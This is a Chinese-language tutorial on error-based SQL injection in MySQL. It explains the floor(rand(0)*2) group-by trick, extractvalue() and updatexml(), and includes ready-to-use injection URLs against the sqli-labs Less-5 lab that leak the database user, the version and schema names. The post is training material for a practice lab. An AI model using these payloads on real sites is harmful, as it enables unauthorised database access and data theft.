报错注入漏洞原理和应用

  • 构造 payload(有效载荷)让信息通过错误提示回显出来
  • 适合应用场景:
    进行注入查询不回现内容,会打印sql错误信息
    Update、 insert等语句,会打印错误信息

查看一下下面的代码
可以看到

  1. sql执行对了就打印出谢谢
  2. sql执行错了就打印出sql的报错的信息

在这里插入图片描述

原理图
在这里插入图片描述

报错注入方法

凡是可以让错误信息显示的函数(语句),都能实现报错注入,这里我们列举3种,还有其他的

floor()函数报错注入

下面使用的是users数据库
sql语句

1
select count(*) from users  group by concat((select 要执行的sql语句),floor(rand(0)*2));

在这里插入图片描述
上面代码分析

1
2
3
4
5
6
7
8
floor()是取整数
rand()在0和1之间产生一个随机数
rand(0)*2将取0到2的随机数
floor(rand()*2)有两条记录就会报错
floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的
count(*)是用来统计结果的,相当于刷新一次结果
group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入存在的话count(*)加1
在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次

在这张虚拟表中,group by后面的字段作为主键,所以这张表中主键是name,这样我们就基本弄清报错的原因了,其原因主要是因为虚拟表的主键重复。按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。

上面的代码介绍

  1. count(*) 函数就进行读取数据库的数据有多少行
    在这里插入图片描述
  2. group by 函数是用来排序的

在这里插入图片描述
3. concat() 函数是叫字符连接起来
在这里插入图片描述
4. rand()和floor()函数
rand()生成随机数
上面的rand(0)*2的意思就是产生0或1的随机数
在这里插入图片描述
floor()函数
就是省略小数点后面的
在这里插入图片描述

sqli-labs第5关实战

URL输入http://192.168.0.104/Less-5/?id=1
发现显示一个
在这里插入图片描述
URL输入http://192.168.0.104/Less-5/?id=1 ' and 1=2 --+
就不显示了

在这里插入图片描述
上面这个就可以报错注入了

  1. 读取数据
    URL地址http://192.168.0.104/Less-5/?id=1 'and(select count(*) from users group by concat((select user()),floor(rand(0)*2))) --+

在这里插入图片描述
2. 读取数据库
在这里插入图片描述
读取更多信息查看2. 网易web安全渗透 union联合查询注入

extractvalue()函数

接受两个参数,第一个XML,第二个XPath语句

这个我遇见个问题有的地方运行不起来不知道怎么回事,可能是版本问题还是数据库问题,就不研究了,下面是演示是可以的

下面我输入1和2
代码

1
select extractvalue(1,2) ;

结果
我们输入2他也是认为是XPath语句
在这里插入图片描述
我们输入1,’2!’

1
select extractvalue(1,'2!') ;

就报错了,!是XPath语句
在这里插入图片描述
我们在输入一个语句就被执行了

1
select extractvalue(1,(select user())) ;

结果,输出了@localhost
我们要的想要的结果是root@localhost
应为root他认为是合法的,@是不合法的
在这里插入图片描述
通过上面的结果就可以用concat()函数进行提前报错,显示完全的
代码

1
select extractvalue(1,concat('!',(select user()))) ;

结果
叫可以看见叫全部给输出出来了
在这里插入图片描述
可以用16进制进行输入
代码

1
select extractvalue(1,concat(0x7e,(select user()),0x7e)) ;

结果0x7e就是16进制的~

在这里插入图片描述

sqli-labs第5关实战

  1. 读取数据
    URL地址http://192.168.0.104/Less-5/?id=1 'and(select extractvalue(1,concat(0x7e,(select user()),0x7e))) --+

在这里插入图片描述
2. 读取数据库
URL地址http://192.168.0.104/Less-5/?id=1 'and(select extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))) --+
他只能读取几个可以用LIMIT进行一个一个查询

在这里插入图片描述
读取更多信息查看2. 网易web安全渗透 union联合查询注入

UpdateXML()函数和extractvalue()函数一样就不多解释了

1
http://192.168.0.104/Less-5/?id=1 ' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)